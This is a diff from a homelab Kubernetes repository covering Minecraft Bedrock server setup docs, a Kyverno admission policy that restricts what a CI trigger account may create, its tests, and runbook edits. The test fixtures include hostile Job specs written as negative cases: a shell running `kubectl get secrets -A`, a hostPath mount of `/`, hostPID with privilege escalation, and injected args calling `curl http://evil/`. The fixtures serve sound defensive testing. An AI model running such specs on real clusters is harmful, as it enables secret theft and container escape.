+Three ways to do it, all **operator actions**. **Routes 1 and 2 are both proven** — route 2 is the one
+that produced the confirmed join above:
+
+1. **Preferred — the panel console.** In Crafty, open `K3s-Bedrock` → Console and send:
+   `allowlist add <Gamertag>` (quote it if it contains a space: `allowlist add "Example Name"`).
+   This writes `allowlist.json` **and** takes effect immediately, with no restart.
+2. **Edit the file, then reload.** Write `/crafty/servers/c5837301-…/allowlist.json`, then send
+   `allowlist reload` in the console — *"After you've modified the file you need to run the command
+   `allowlist reload` to make sure that the server knows about your new change."* Shape:
+
+   ```json
+   [
+     { "ignoresPlayerLimit": false, "name": "FirstPlayerGamertag" },
+     { "ignoresPlayerLimit": false, "name": "SecondPlayerGamertag" }
+   ]
+   ```
+
+3. **Turn the allowlist off entirely** — `allow-list=false` in `server.properties` (restart), or
+   `allowlist off` in the console. Note the vendor's warning: `allowlist on|off` *"does not change the
+   value in the server.properties file"*, so a console `off` silently reverts on the next start.
+   **Not recommended:** the game port is deliberately un-gated at the network layer (see *Game-port L4
+   exposure*), so the allowlist is the **only** thing deciding who may join. Keep it `true` and enumerate
+   players.
+
+> **`allowlist.json` is application state on the PVC**, exactly like `transport=raknet`. Neither is in
+> git and **Flux can restore neither**. Be precise about what breaks them, because the two cases differ:
+>
+> - **A pod or server *restart* preserves both** — observed: the 22:02:48 restart (pid 47006 → 47875)
+>   kept `transport=raknet` (`server.properties` mtime unchanged at 21:33:31) and kept the allowlist
+>   entry. What a **pod** restart *does* break is that `K3s-Bedrock` has `auto_start=0`, so the Bedrock
+>   server simply **does not come back** until someone starts it by hand.
+> - **A server *recreate* or reinstall silently resets both** — a fresh `server.properties` ships
+>   `transport=nethernet` (nothing bound on 19132/udp) and a fresh `allowlist.json` is `[]` (everyone
+>   refused). Neither change announces itself, and the server will look healthy and started in the panel
+>   while being unreachable *and* unjoinable.
+>
+> **Treat both files as backup-relevant, and re-run the 5-step connect procedure above after any Bedrock
+> recreate or BDS update.**
+
+#### Why this does not change the transport recommendation
+
+`transport=raknet` is correct, and with the allowlist entry in place the combination is **proven
+end-to-end by a player who has joined** — not merely the best-reasoned option. The allowlist refusal was
+orthogonal to transport all along: it would have refused players identically under NetherNet. Switching
+to NetherNet would *add* work (TCP 19132 in `crafty-l4-tcp` **and** in `crafty-allow-ingress`, plus
+`server-udp-ports` pinned and exposed) and would admit **not one extra player**. The ranking below stands,
+and option 1 is now settled rather than provisional.
+
+#### Decision (PROVEN, not provisional): `transport=raknet` stays; the 19132-19134/UDP exposure is correct and live
+
+No manifest change is needed or wanted. `service-l4.yaml`, `networkpolicy.yaml` and the
+`containerPort`s were already shaped for exactly RakNet, and that shape is now **proven by a player who
+has connected and joined over `192.168.2.22:19132`** — not assumed, and not merely reasoned. The options
+that would have required manifest work are all **not recommended**:
+
+| Option | Manifest consequence | Verdict |
+|---|---|---|
+| **Keep `transport=raknet`** + allowlist entries (**this is what works**) | **none** — the existing Service, policy and ports were already correct | **Done; proven.** A player has joined over the VIP. Zero manifest change, vanilla parity, real Bedrock world. |
+| **GeyserMC + Floodgate** on the `homelab` Paper server | none either (Geyser also binds `19132/udp`), but it would **collide** with the live BDS on 19132 — one of them must move | Hold in reserve. Only worth it if RakNet is really removed, or if you *want* one shared world. Cost: Bedrock players join the **Java** world, not a Bedrock world; Java-only mechanics and some content differ; it is another moving part to patch. |
+| **Pin/downgrade BDS** to a pre-nethernet release | none | Unnecessary — the *current* build already speaks RakNet. Also fragile: Microsoft removes old BDS downloads, and Crafty's Bedrock installer tracks latest. UNVERIFIED whether Crafty can pin a version at all. |
+| **A third-party server** (PocketMine-MP, Nukkit) | none | No. Loses vanilla parity and the world format; a large change to solve a problem that is not occurring. |
+| **Accept NetherNet** | 19132-19134/UDP becomes **inert**; nethernet would instead need **TCP** 19132 added to `crafty-l4-tcp` *and* to `crafty-allow-ingress`, plus `server-udp-ports` pinned and exposed for the negotiated media path | No — and note it is **not currently in use**: `transport=raknet` and there is no TCP 19132 listener. Strictly more manifest work than the option that already works, it admits no extra player (the allowlist is the gate), and WebRTC media behind a shared VIP and SNAT is unproven here. |
+
+#### If RakNet is ever really removed
+
+Then BDS opens no UDP listener and this exposure has nothing to bind to — an architecture problem, not
+a config one. The migration is **GeyserMC + Floodgate as a plugin on the existing `homelab` Paper
+server**, because Geyser speaks RakNet on `19132/udp` itself: the VIP, the Service, the policy and the
+`containerPort`s all stay **byte-for-byte as they are**, and Bedrock clients keep connecting to
+`crafty-mc.home.keithjackson.dev:19132`. What changes is the world: Bedrock players land in the Java
+world via Floodgate (no Xbox-authenticated Bedrock account needed on the Java side), the Bedrock server
+is retired, and `K3s-Bedrock` stops the day Geyser starts — **they cannot share 19132**. Installing it
+is a PVC write plus a Paper restart, i.e. an **operator action**: drop `Geyser-Spigot.jar` and
+`floodgate-spigot.jar` into `/crafty/servers/13c7b85d-…/plugins/` and restart `homelab`, then set
+Geyser's `bedrock.port: 19132` and `clone-remote-port: false` in its generated `config.yml`.
+Geyser's own Bedrock-version support is **external and unmeasured here** — check that it supports the
+Bedrock client version in use before committing.
+
+### Bedrock realities that are NOT platform defects but present identically
+
+- **LAN / Friends-tab discovery can never work here.** Bedrock discovery is a UDP broadcast on 19132
+  inside one L2 segment; this server sits behind a LoadBalancer VIP (and SNAT), not on the LAN, so it
+  will **never** appear in a client's Friends/LAN list. Players must use **Add Server** and type the
+  address and port by hand: `crafty-mc.home.keithjackson.dev` (or the VIP) with port **19132**.
+  `external-dns` publishes that name from the **-tcp** Service, so it resolves to the shared VIP and
+  is correct for Bedrock too — only the port differs from Java's 25565.
+- **Consoles cannot reach this at all.** Switch/Xbox/PlayStation Bedrock clients have no
+  arbitrary-server-address field; only Windows/mobile/Fire do. Reaching it from a console needs a DNS
+  redirect of a featured-server hostname, which is out of scope for `service-l4.yaml`.
+- **`enable-lan-visibility=true` (the shipped default) collides with Bedrock slots 1 and 2 — now
+  OBSERVED, not merely documented.** Under `transport=raknet` it makes a server bind the **default**
+  ports 19132 *and* 19133 even when `server-port`/`server-portv6` say otherwise; the shipped
+  `bedrock_server_how_to.html` says so, and on 2026-09-29 a RakNet ping to
+  `192.168.2.22:19133` returned **the same pong, from the same `server_guid`, as `:19132`** — one
+  server occupying two of the three Bedrock slots. `:19134` correctly timed out. So a second Bedrock
+  server put on 19133 will fight the first. Set `enable-lan-visibility=false` on every Bedrock server
+  after the first; LAN discovery cannot work here anyway (above).
+- **`server-portv6` is the IPv6 listener and is not exposed; `19133` is nonetheless in use.**
+  `service-l4.yaml` is IPv4 single-stack, so the *IPv6* socket `…:4ABD` that BDS opens for
+  `server-portv6=19133` is unreachable from the LAN. But because `enable-lan-visibility=true` (above)
+  the server *also* answers on **IPv4 19133**, which the UDP Service does expose — measured. So
+  `19133` in `server.properties` genuinely does mean "slot 1 is taken", contrary to what this file
+  previously said.
+
 ## Policies
 
 `namespace.yaml` sets only `gateway-access=shared` (platform namespace, like headlamp/homepage), so
@@ -114,14 +383,48 @@ Gateway VIP). The sidecar→Crafty hop is pod-local (`127.0.0.1`) and not subjec
    local admin. A **non-platform-admins** user → **403** (authenticated but not authorized).
 2. **Pod health / fsGroup:** `kubectl -n crafty get pod` Ready 2/2; Crafty writes its DB under
    `/crafty/app/config` and `/crafty/servers` without EACCES.
-3. **Server-create + game reach:** in the Crafty UI create a Java server bound to `25565`; start it;
-   connect a Minecraft client to `crafty-mc.home.keithjackson.dev:25565` (or `192.168.1.55:25565`)
-   from the LAN and confirm the world loads. (Bedrock: a server on `19132/udp` reached at the VIP.)
+3. **Server-create + game reach (Java):** in the Crafty UI create a Java server bound to `25565`;
+   start it; connect a Minecraft client to `crafty-mc.home.keithjackson.dev:25565` (or
+   `192.168.2.22:25565`) from the LAN and confirm the world loads.
+4. **Bedrock: the connect procedure (VERIFIED end-to-end 2026-09-29 — a player has joined).**
+   Creating and starting the server is **not sufficient**. Do these in order; each step has a distinct
+   failure signature:
+
+   1. **`transport=raknet`** in `server.properties`. The vendor default is `nethernet`, which opens
+      **no UDP listener at all**.
+   2. **A live UDP listener:** `grep 4ABC /proc/net/udp /proc/net/udp6` → a wildcard bind. Under
+      `nethernet` you instead see `4ABC` on **TCP**, which nothing here exposes.
+   3. **A pong from off-cluster:** a RakNet Unconnected Ping to `192.168.2.22:19132` returns a `0x1c`
+      packet whose MOTD string starts `MCPE;`. This proves the VIP, Service and policy path.
+   4. **An allowlist entry for the player's Xbox Gamertag.** `allow-list=true` with
+      `allowlist.json == []` refuses **every** player with *"You are not invited to play on this
+      server"* while the server is otherwise perfectly reachable. In the panel console:
+      `allowlist add <Gamertag>`.
+   5. **Add Server** by hand in a Windows/mobile client: `crafty-mc.home.keithjackson.dev`, port
+      `19132`. It will never appear in the LAN/Friends tab, and a console cannot reach it at all.
+
+   **Two log messages appear on a fully working server and must be ignored:** BDS's
+   `================ TRANSPORT TYPE ERROR ===================` banner (advisory — see *Trap 2*), and
+   Crafty's perpetual `Bedrock ping returned a string with too few fields`. Neither indicates a fault;
+   chasing them is what cost two sessions. The **real** failure signatures are `Got timeout while
+   issuing bedrock ping` (no listener) and *"You are not invited"* (allowlist).
 
 ## Runtime state: the servers themselves are NOT in git
 
-As of 2026-09-14 one Java server exists — **"homelab"**, Paper 26.2, TCP 25565, 2 GiB heap, autostart
-on, UUID `13c7b85d-00bb-4a58-8c86-2433ca47891c`. It was created through Crafty's v2 API, and **Mojang's
+As of 2026-09-29 **two** servers exist (both measured live, `select * from servers`):
+
+| Name | Type | Port | UUID | `auto_start` |
+|---|---|---|---|---|
+| `homelab` | `minecraft-java` (Paper 26.2, 2 GiB heap) | TCP 25565 | `13c7b85d-00bb-4a58-8c86-2433ca47891c` | **1** |
+| `K3s-Bedrock` | `minecraft-bedrock` | UDP 19132 | `c5837301-12b1-404e-b50e-70eafb37226b` | **0** ⚠ |
+
+`K3s-Bedrock` was created 2026-09-29 20:51 and **still** has `auto_start=0` **and**
+`crash_detection=0` — re-measured 2026-09-29 21:41 straight out of `crafty.sqlite` (read-only), so the
+create-API trap documented at the bottom of this file is still live and still unfixed. **It will not
+come back after a pod restart**, and merging any change to `deployment.yaml` restarts the pod
+(`strategy: Recreate`). PATCH both to true and read them back.
+
+`homelab` was created through Crafty's v2 API, and **Mojang's
 EULA (<https://aka.ms/MinecraftEULA>) was accepted on the operator's behalf** to let it start; see the
 DECISIONS-LOG entry of that date.
 
@@ -132,6 +435,10 @@ application state on the `crafty-data` Longhorn PVC, in two places, and **Flux c
   heap sizes, `auto_start` / `crash_detection`.
 - `/crafty/servers/<uuid>/` (`servers` subPath) — `paper.jar`, `eula.txt`, `server.properties`, and
   **the generated world**. The jar is re-downloadable; the world is not.
+  **`transport=raknet` lives here too.** It is the one setting that makes Bedrock reachable at all (see
+  *the transport trap*), it is not in git, Flux cannot restore it, and a freshly created or reinstalled
+  Bedrock server gets the vendor default `transport=nethernet` back — i.e. it silently regresses to
+  "nothing bound on 19132/udp". Re-apply and re-ping after any Bedrock server recreate or BDS update.
 
 So a rebuild from git alone yields a healthy but **empty** Crafty with nothing listening on 25565.
 Recreating a server by hand means: create it in the UI or API, accept the EULA again, and PATCH

platform/kyverno/admission/conformance-trigger-job-shape.yaml

@@ -0,0 +1,144 @@
+# Serves: R-SEC-02 (CI holds no broad cluster access)
+#
+# THIS POLICY IS THE SECURITY BOUNDARY. The RBAC in conformance/incluster/rbac.yaml is not.
+#
+# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. Any principal that can
+# `create jobs` in namespace `conformance` can therefore create a Job that runs as
+# `conformance-runner` — a privileged SA (nodes/patch, pods/exec, namespaces/patch) — with an
+# arbitrary command. So the CI trigger credential, however narrow its own Role looks, IS the
+# privileged identity unless something constrains the SHAPE of what it may create.
+#
+# That is what this does: for Jobs created by `conformance-trigger` ONLY, admit exactly the
+# committed conformance run and deny everything else. The operator chose this model
+# (docs/plans/l2-l3-conformance-ci-wiring.md §4, primary model) over the zero-credential
+# GitOps-native alternative.
+#
+# ENFORCE AND FAIL-CLOSED, NOT SUBSTITUTED. Note this does NOT use
+# ${KYVERNO_VALIDATION_ACTION} like the other admission policies: a security boundary that an
+# environment overlay can downgrade to Audit is not a boundary. `failurePolicy: Fail` means a
+# Kyverno outage blocks conformance Jobs rather than silently admitting unconstrained ones.
+# Blocking CI is the correct failure direction here; admitting arbitrary privileged code is not.
+#
+# SCOPE: it constrains ONLY `conformance-trigger`. Jobs created by humans, by Flux, or by any
+# other SA are untouched — so a broken policy cannot wedge the rest of the cluster.
+#
+# IMAGE PINNING — HONEST LIMIT, READ BEFORE RELYING ON THIS. The plan specifies pinning the
+# exact `CONFORMANCE_RUNNER_IMAGE` digest. That image does not exist yet, so this enforces the
+# enforceable half: the image must live under the conformance repository path AND be
+# digest-pinned (`@sha256:`), never a mutable tag. Residual surface: anyone who can PUSH to that
+# registry path could publish a different digest. TIGHTEN THIS when the image is built by
+# replacing the `image` pattern below with the literal digest — a one-line change, reviewed in a
+# PR, which is exactly where a change to the security boundary belongs.
+apiVersion: kyverno.io/v1
+kind: ClusterPolicy
+metadata:
+  name: conformance-trigger-job-shape
+  annotations:
+    policies.kyverno.io/title: Constrain what the conformance CI trigger may create
+    policies.kyverno.io/category: Supply chain
+    policies.kyverno.io/severity: critical
+    homelab.keithjackson.dev/requirements: R-SEC-02
+    homelab.keithjackson.dev/scope: admission-only
+spec:
+  validationFailureAction: Enforce
+  failurePolicy: Fail
+  background: false
+  rules:
+    - name: trigger-may-create-only-the-committed-conformance-run
+      # resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
+      # As two separate `all` entries it is a schema error ("match resources not specified")
+      # and the whole policy loads as INVALID, which the CLI reports as a SKIP.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger may create ONLY the committed conformance run: a single container,
+          digest-pinned conformance-runner image, serviceAccountName conformance-runner,
+          command ["./run.sh"], no host namespaces, non-root with privilege escalation disabled,
+          and only the `workspace` and `results` volumes. See
+          platform/kyverno/admission/conformance-trigger-job-shape.yaml.
+        pattern:
+          spec:
+            template:
+              spec:
+                serviceAccountName: conformance-runner
+                =(hostNetwork): "false"
+                =(hostPID): "false"
+                =(hostIPC): "false"
+                containers:
+                  - image: "gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*"
+                    command:
+                      - "./run.sh"
+                    securityContext:
+                      runAsNonRoot: true
+                      allowPrivilegeEscalation: false
+                      =(privileged): "false"
+
+    - name: trigger-volumes-must-be-workspace-or-results
+      # resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
+      # As two separate `all` entries it is a schema error ("match resources not specified")
+      # and the whole policy loads as INVALID, which the CLI reports as a SKIP.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Jobs may mount only the `workspace` and `results` volumes. An extra
+          volume is how a constrained pod reaches a host path, a secret, or another SA's token.
+        # foreach, NOT a `pattern` list: a Kyverno array pattern asserts "at least one element
+        # matches", which would happily admit a Job carrying `workspace` PLUS a hostPath. This
+        # asserts EVERY volume is one of the two allowed names.
+        foreach:
+          - list: "request.object.spec.template.spec.volumes"
+            deny:
+              conditions:
+                all:
+                  - key: "{{ element.name }}"
+                    operator: AnyNotIn
+                    value: ["workspace", "results"]
+
+    - name: trigger-args-must-be-the-committed-flags
+      # resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
+      # As two separate `all` entries it is a schema error ("match resources not specified")
+      # and the whole policy loads as INVALID, which the CLI reports as a SKIP.
+      match:
+        all:
+          - resources:
+              kinds:
+                - Job
+              namespaces:
+                - conformance
+            subjects:
+              - kind: ServiceAccount
+                name: conformance-trigger
+                namespace: conformance
+      validate:
+        message: >-
+          conformance-trigger Job args may contain only the conformance run's own flags
+          (--layer, --requirements, --include-scope, --strict-coverage) and their plain values.
+          Anything else — a shell, a path, a redirect — is denied.
+        foreach:
+          - list: "request.object.spec.template.spec.containers[0].args"
+            deny:
+              conditions:
+                all:
+                  - key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
+                    operator: Equals
+                    value: false

platform/kyverno/admission/kustomization.yaml

@@ -20,3 +20,7 @@ resources:
   # --- secrets: the admission variant REPLACES the CI-only sops-block policy ---
   #     (../policies/disallow-plaintext-secrets.yaml is CI-only; see secret-provenance.yaml)
   - secret-provenance.yaml
+  # --- R-SEC-02: constrain what the conformance CI trigger may create ---
+  # THE security boundary for CI cluster access. Enforce + fail-closed, deliberately NOT
+  # subject to ${KYVERNO_VALIDATION_ACTION}. See the file header.
+  - conformance-trigger-job-shape.yaml

platform/kyverno/tests/conformance-trigger/kyverno-test.yaml

@@ -0,0 +1,57 @@
+# R-SEC-02 — the conformance CI trigger cannot escalate to arbitrary privileged execution.
+#
+# Each DENY case below is a real escalation path, not a style violation. The one that matters
+# most is `evil-command`: correct SA, correct image, arbitrary command. That is the attack the
+# whole model exists to stop, and RBAC alone cannot — Kubernetes places no `use` check on
+# serviceAccountName, so `create jobs` in this namespace IS the privileged identity without
+# this policy.
+#
+# user-info.yaml supplies the requesting identity. WITHOUT it the policy's `subjects` match
+# never fires and every case trivially passes — a test that proves nothing.
+apiVersion: cli.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: conformance-trigger-job-shape
+policies:
+  - ../../admission/conformance-trigger-job-shape.yaml
+resources:
+  - resources.yaml
+userinfo: user-info.yaml
+results:
+  # ---- the committed run is ADMITTED ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-create-only-the-committed-conformance-run
+    kind: Job
+    resources: [good-run]
+    result: pass
+  - policy: conformance-trigger-job-shape
+    rule: trigger-volumes-must-be-workspace-or-results
+    kind: Job
+    resources: [good-run]
+    result: pass
+  - policy: conformance-trigger-job-shape
+    rule: trigger-args-must-be-the-committed-flags
+    kind: Job
+    resources: [good-run]
+    result: pass
+
+  # ---- THE escalation: runner SA + arbitrary command ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-may-create-only-the-committed-conformance-run
+    kind: Job
+    resources: [evil-command, evil-image, tag-not-digest, host-namespaces]
+    result: fail
+
+  # ---- an extra volume is the way out of a constrained pod ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-volumes-must-be-workspace-or-results
+    kind: Job
+    resources: [extra-volume]
+    result: fail
+
+  # ---- args beyond the committed flags ----
+  - policy: conformance-trigger-job-shape
+    rule: trigger-args-must-be-the-committed-flags
+    kind: Job
+    resources: [injected-args]
+    result: fail

platform/kyverno/tests/conformance-trigger/resources.yaml

@@ -0,0 +1,154 @@
+# The committed shape — must be ADMITTED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: good-run
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2,l3", "--requirements", "R-NET-01"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: results
+          emptyDir: {}
+---
+# THE ESCALATION: runner SA, but an arbitrary command. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: evil-command
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["/bin/sh", "-c", "kubectl get secrets -A"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+---
+# An arbitrary image running as the privileged SA. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: evil-image
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: docker.io/library/alpine:latest
+          command: ["./run.sh"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+---
+# A mutable TAG instead of a digest — republishable under the same reference. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: tag-not-digest
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner:latest
+          command: ["./run.sh"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+---
+# Host namespaces + privilege escalation. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: host-namespaces
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      hostPID: true
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          securityContext:
+            runAsNonRoot: false
+            allowPrivilegeEscalation: true
+      volumes:
+        - name: workspace
+          emptyDir: {}
+---
+# An extra volume — the way out of a constrained pod. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: extra-volume
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: hostroot
+          hostPath:
+            path: /
+---
+# Injected args beyond the committed flags. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: injected-args
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2", ";", "curl", "http://evil/"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}

platform/kyverno/tests/conformance-trigger/user-info.yaml

@@ -0,0 +1,12 @@
+# The requesting identity the policy keys on. Without this the `subjects` match never fires and
+# every case below would trivially "pass" — proving nothing.
+apiVersion: cli.kyverno.io/v1alpha1
+kind: UserInfo
+metadata:
+  name: conformance-trigger
+userInfo:
+  username: system:serviceaccount:conformance:conformance-trigger
+  groups:
+    - system:serviceaccounts
+    - system:serviceaccounts:conformance
+    - system:authenticated

runbooks/README.md

@@ -33,7 +33,8 @@ negative is how a CLI quirk becomes real data loss. Write `backups.velero.io`,
 `backups.postgresql.cnpg.io`, `clusters.postgresql.cnpg.io`, `settings.longhorn.io`,
 `volumes.longhorn.io`, `nodes.longhorn.io`.
 
-`git push origin main` **is** the deploy; there is no other apply step. Durable changes go through git.
+Merging a PR into `main` **is** the deploy; there is no other apply step. `main` is protected, so a
+direct push is rejected — durable changes go through a branch, a PR, and a green gate.
 
 ## Alerts you should not trust the silence of (measured 2026-09-13)
 
@@ -109,9 +110,11 @@ Each affected runbook says so on its own page and gives the by-hand equivalent.
   every green signal missed.
 
 ### Operator procedures (no alert links here)
-- **`plex-claim`** — claiming the Plex Media Server. The plex.tv claim token lives ~4 minutes, so this
-  is a timed sequence: token → `sops` → push → **forced** `flux reconcile` → pod roll. Includes why a
-  changed Secret does not restart anything, and why an expired token is harmless.
+- **`plex-claim`** — claiming the Plex Media Server. **Claimed 2026-09-29**; the page now only
+  applies after a `/config` wipe. The claim token is short-lived — read the countdown on
+  plex.tv/claim — so it is a timed sequence, scripted as `infra/plex/claim-ship.sh`:
+  token → `sops` → PR → gate → merge → **forced** `flux reconcile` → pod roll (~2m45s measured).
+  Includes why a changed Secret does not restart anything, and why an expired token is harmless.
 
 ### Virtualisation
 - **`kubevirt-control-plane`** — VM lifecycle operations will fail; running VMs keep running.

runbooks/backup-failure.md

@@ -62,8 +62,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/backup-missed.md

@@ -61,8 +61,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/backup-partial.md

@@ -78,8 +78,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/cdi-import-stuck.md

@@ -55,8 +55,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/cert-expiry.md

@@ -62,8 +62,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/cert-issuance.md

@@ -63,8 +63,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/cnpg-archiving.md

@@ -87,8 +87,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
 ## First commands
 

runbooks/cnpg-backup-missed.md

@@ -69,8 +69,10 @@ a cluster holding 6 Velero backups and 27 CNPG backups. Verified on prod 2026-09
 `settings.longhorn.io`, `volumes.longhorn.io`, `nodes.longhorn.io`.
 
 Mutating kubectl (`apply`, `patch`, `annotate`, `rollout`) and `flux reconcile` are blocked for
-agents here: every durable change goes through git (`git push origin main` **is** the deploy).
-Where this runbook gives a mutating command it is for an operator, and it says so.
+agents here: every durable change goes through git. **`main` is a protected branch — a direct push
+is rejected.** A change lands by pushing a branch, opening a PR, and merging it once the gate is
+green; that merge is the deploy. Where this runbook gives a mutating command it is for an operator,
+and it says so.
 
